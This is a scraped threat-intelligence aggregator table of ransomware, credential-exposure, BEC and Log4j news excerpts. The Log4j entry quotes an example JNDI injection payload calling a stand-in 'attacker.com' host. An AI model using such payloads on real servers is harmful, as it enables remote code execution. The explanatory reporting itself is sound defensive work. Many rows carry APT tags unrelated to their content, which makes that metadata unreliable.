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| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2023-11-28 00:00:00 | Enquêter sur le risque de références compromises et d'actifs exposés à Internet explorez le rapport révélant les industries et les tailles d'entreprise avec les taux les plus élevés d'identification compromises et d'actifs exposés à Internet.En savoir plus Investigating the Risk of Compromised Credentials and Internet-Exposed Assets Explore the report revealing industries and company sizes with the highest rates of compromised credentials and internet-exposed assets. Read More (lien direct) |
IntroductionIn this report, Kovrr collected and analyzed data to better understand one of the most common initial access vectors (1) - the use of compromised credentials (Valid Accounts - T1078) (2) to access internet-exposed assets (External Remote Services - T113) (3). The toxic combination of these two initial access vectors can allow malicious actors to gain a foothold in company networks before moving on to the next stage of their attack, which can be data theft, ransomware, denial of service, or any other action. There are numerous examples of breaches perpetrated by many attack groups that have occurred using this combination, for example, breaches by Lapsus (4) and APT39 (5), among others. âThis report seeks to demonstrate which industries and company sizes have the highest percentage of compromised credentials and number of internet-exposed assets and face a higher risk of having their networks breached by the toxic combination of the initial access vectors mentioned above.âIt should be noted that having an asset exposed to the internet does not inherently pose a risk or indicate that a company has poor security. In our highly digitized world, companies are required to expose services to the internet so their services can be accessed by customers, vendors, and remote employees. These services include VPN servers, SaaS applications developed by the company, databases, and shared storage units. However, there are some common cases when having an asset exposed to the internet can be extremely risky, for example:âWhen a company unintentionally exposes an asset due to misconfiguration.When a malicious third party obtains compromised credentials of a legitimate third party and accesses an exposed asset.  âTo limit unnecessary internet exposure, companies should employ the following possible mitigations:âUse Multi-Factor Authentication (MFA) for any services or assets that require a connection so that compromised credentials on their own will not be enough to breach an exposed asset.Limit access to the asset to only specific accounts, domains, and/or IP ranges.Segment the internal company network and isolate critical areas so that even if a network is breached through access to an external asset, attackers will not be able to use that access to reach wider or more sensitive areas of the company network. âSummaryâThe following are the main findings from the collected data:âThe Services industry is by far the most exposed to attackers. Companies from that industry have the highest percentage of compromised credentials (74%). However, they have a relatively low amount of internet-exposed assets per company (34%). However, given that an average cyber loss in this industry has been shown to be about $45M, this is highly concerning (6). The Services industry (SIC Division I) is followed by Division E (Transportation, Communications, Electric, Gas, and Sanitary Services, with an average loss of around $58M), which is followed by Division D (Manufacturing, with an average loss of around $25M). The revenue range for companies with the highest number of compromised credentials is $1M-$10M, followed by $10M-$50M. A similar trend is also observed when evaluating company size by the number of employees. Indeed, companies with fewer employees have a higher share of compromised credentials. On average, the larger the company (both in terms of revenue and number of employees (7)), the greater the number of internet-exposed assets.There is a correlation between the industries and revenue ranges of companies targeted by ransomware and those with the highest share of compromised credentials.   âMethodologyâThe data for this research was collected as follows:âData regarding compromised credentials was first collected from Hudson Rock, a provider of various cybercrime data. Data was collected for the previous six months, beginning March 2023. This data | Ransomware Threat Studies Prediction Cloud | APT 39 APT 39 APT 17 | ★★★ |
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2023-10-24 08:07:41 | Cloud de confiance : la vision environnementale du Cigref (lien direct) | Le Cigref a retravaillé le volet " environnement " de son référentiel du cloud de confiance. Comment se présente-t-il désormais ? | Cloud | APT 15 | ★★ |
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2023-07-13 00:00:00 | Le Ransomware Threat Landscape H1-23 Ce rapport fournit une analyse complète de toutes les attaques de ransomwares connues qui ont été signalées au cours des deux premiers trimestres de 2023. The Ransomware Threat Landscape H1-23This report provides a comprehensive analysis of all known ransomware attacks that were reported during the first two quarters of 2023.Read More (lien direct) |
IntroductionâIn this comprehensive report, Kovrr collected and analyzed data on all known ransomware attacks reported during the first two quarters of 2023. The data was collected from multiple sources, all aggregated and updated regularly in Kovrrâs Threat Intelligence Database. The database includes data on many different types of cyber incidents, but this report includes only data on ransomware attacks, excluding data on any other type of attacks. The ransomware groups covered in this report all operate as a RaaS (Ransomware as a Service), a business model through which the ransomware binary and operation are sold or leased to operators, called affiliates. This means that a ransomware operation is composed of many different individuals, with separate roles, and the extortion profits are divided between them. Some individuals are responsible for initial access to the targets, others to lateral movement to interesting and profitable areas in the victim network, while others are responsible for the ransomware infection itself, and others negotiate with the victim after infection. âSummaryâThese are the main insights from the collected data:There is a 32% drop in attack amounts in H1-23 compared to H2-22. It is important to note that this drop can also be due to delayed reporting of cyber incidents by attacked companies.The top ten most active groups observed during the first half of 2023 are AvosLocker, Bianlian, BlackBasta, BlackCat, Clop, Lockbit 3.0, MedusaLocker, Play, Royal, and ViceSociety. All 10 actors accounted for 87% of attacks during this period, while the top 3 groups (Lockbit 3.0, BlackCat, and Clop) accounted for 53% of all claimed attacks during this period. The average lifespan of a ransomware group is 262 days, while the median is 167 days. In an average month, 18.3 different ransomware groups are active.The most targeted industry is the Services industry, while companies with a revenue of $10M-$50M are the most common targets. âData Collection Methods and Possible BiasesâThe data for this research was collected from Kovrrâs Threat Intelligence Database, that collects data from multiple sources, and includes information on different types of cyber incidents. Specifically for this report, data was collected mainly from ransomware leak sites, public filings of attacked companies, and news reports on ransomware attacks. The data from ransomware leak sites was collected mainly from Double Extortion (https://doubleextortion.com), a data source providing up to date information from ransomware leak sites. The rest of the data was collected using proprietary sources and methods. This data was then combined with additional sources to collect company business information and is limited to ransomware attacks that occurred and were reported in the first two quarters of 2023, between January 1st 2023 and June 31st 2023. There are several possible biases in the data that may affect the results presented in the report. Data collection for this research relied either on a company filing a notification on a ransomware attack, or a ransomware group uploading information about a victim. Therefore, in the case that a company decided not to file a notice of a ransomware attack, for example due to not being legally required to do so, it will not be included in our data. This means that companies located in countries that require data breach notifications, such as companies in the United States or the European Union, are expected to have a higher representation in our data. This is also true for companies in more regulated industries, such as healthcare. Regarding data retrieved from ransom group sites, there may be cases where an attacker did not upload data on the attack victim, as the victim paid the ransom, or for other reasons. This means that some victims that have quickly paid ransoms following an attack might not appear in our data. Additionally,, we have previously researched | Ransomware Data Breach Vulnerability Threat Cloud | APT 17 | ★★★ |
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2022-10-18 08:41:18 | The benefits of taking an intent-based approach to detecting Business Email Compromise (lien direct) |  By Abhishek Singh.BEC is a multi-stage attack. Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets. A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge. Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit. Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent. The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email. |
Threat Medical Cloud | Yahoo Uber APT 38 APT 37 APT 29 APT 19 APT 15 APT 10 | |
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2022-08-18 08:00:00 | Ukraine and the fragility of agriculture security (lien direct) |  By Joe Marshall.The war in Ukraine has had far-reaching global implications and one of the most immediate effects felt will be on the global supply chain for food. This war-induced fragility has exposed the weaknesses of how we feed ourselves globally. Ransomware cartels and other adversaries are well aware of this and are actively exploiting that fragility. For the past six years, Cisco Talos has been actively involved in assisting public and private institutions in Ukraine to defend themselves against state-sponsored actors. Our involvement stretches the gamut from commercial to critical infrastructure, to election security. Our presence has afforded us unique opportunities and observations about cybersecurity in a macro and micro way. Ukraine has been a frequent victim of state-sponsored cyber attacks aimed at critical infrastructures like power and transportation. Talos is proud to stand with our partners in Ukraine and help defend their critical networks and help users there maintain access to necessary services. Now that Russia has invaded Ukraine, those threats have escalated to kinetic attacks that are wreaking havoc on a critical element of our world: agriculture and our global food supply chain. Even worse is the implications this war will have for future cyber attacks, as fragility is considered a lucrative element in deciding victimology by threat actors like ransomware cartels. To truly grasp the implications of the war in Ukraine, we have to examine how vital Ukrainian agriculture feeds the world, the current state of affairs, and what this means for the global cybersecurity posture to protect agricultural assets. Where there is weakness, there is opportunityRansomware cartels and their affiliates are actively targeting the agricultural industry. Moreover, these actors have done their homework and are targeting agricultural companies during the two times of the year where they cannot suffer disruptions: planting and harvesting. Per the published FBI PIN Alert: “Cyber actors may perceive cooperatives as lucrative targets with a willingness to pay due to the time-sensitive role they play in agricultural production.” This is far from unusual for these adversaries - they are shrewd and calculating, and understand their victims' weaknesses and industries. H |
Ransomware Threat Guideline Cloud | NotPetya Uber APT 37 APT 32 APT 28 APT 10 APT 21 Guam | |
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2022-08-06 10:46:21 | CISO workshop slides (lien direct) | A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): | Malware Vulnerability Threat Patching Guideline Medical Cloud | Uber APT 38 APT 37 APT 28 APT 19 APT 15 APT 10 APT 34 Guam | |
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2022-05-03 16:31:00 | Anomali Cyber Watch: Time-to-Ransom Under Four Hours, Mustang Panda Spies on Russia, Ricochet Chollima Sends Goldbackdoor to Journalists, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, China, Cyberespionage, LNK files, Malspam, North Korea, Phishing, Ransomware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
A Lookback Under the TA410 Umbrella: Its Cyberespionage TTPs and Activity
(published: April 28, 2022)
ESET researchers found three different teams under China-sponsored umbrella cyberespionage group TA410, which is loosely linked to Stone Panda (APT10, Chinese Ministry of State Security). ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs).
Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Phishing - T1566 | [MITRE ATT&CK] Native API - T1106 | [MITRE ATT&CK] Shared Modules - T1129 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Inter-Process Communication - T1559 | [MITRE ATT&CK] Windows Management Instrumentation - T1047 | [MITRE ATT&CK] Scheduled Task - T1053 | [MITRE ATT&CK] Server Software Component - T1505 | [MITRE ATT&CK] Create or Modify System Process - T1543 | [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Masquerading - T1036 | [MITRE ATT&CK] Rootkit - T1014 | [MITRE ATT&CK] Process Injection - T1055 | |
Ransomware Malware Tool Vulnerability Threat Guideline Cloud | APT 37 APT 10 APT 10 | |
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2021-12-15 16:00:00 | Anomali Cyber Watch: Apache Log4j Zero-Day Exploit, Google Fighting Glupteba Botnet, Vixen Panda Targets Latin America and Europe, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: Apache, Botnets, China, Espionage, Java, Russia, USB, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit
(published: December 10, 2021)
A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.
MITRE ATT&CK: [MITRE ATT&CK] Exploit Public-Facing Application - T1190 | [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Remote Services - T1021 | [MITRE ATT&CK] OS Credential Dumping - T1003 | [MITRE ATT&CK] Resource Hijacking - T1496 | [MITRE ATT&CK] Network Denial of Service - T1498
Tags: Log4j, CVE-2021-44228, Log4j2, Log4Shell, Apache, Zero-day, Java, Jndi, Class file
Over a Dozen Malicious NPM Packages Caught Hijacking Discord Servers
(published: December 8, 2021)
Researchers from the DevOps firm JFrog has found at least 17 malicious packages on the open source npm Registry for JavaScript. The names of the packages are: prerequests-xcode (version 1.0.4), discord-selfbot-v14 (version 12.0.3), discord-lofy (version 11.5.1), discordsystem (version 11.5.1), discord-vilao (version 1.0.0), fix-error (version 1 |
Malware Tool Vulnerability Threat Cloud | APT 37 APT 29 APT 15 APT 15 APT 25 |
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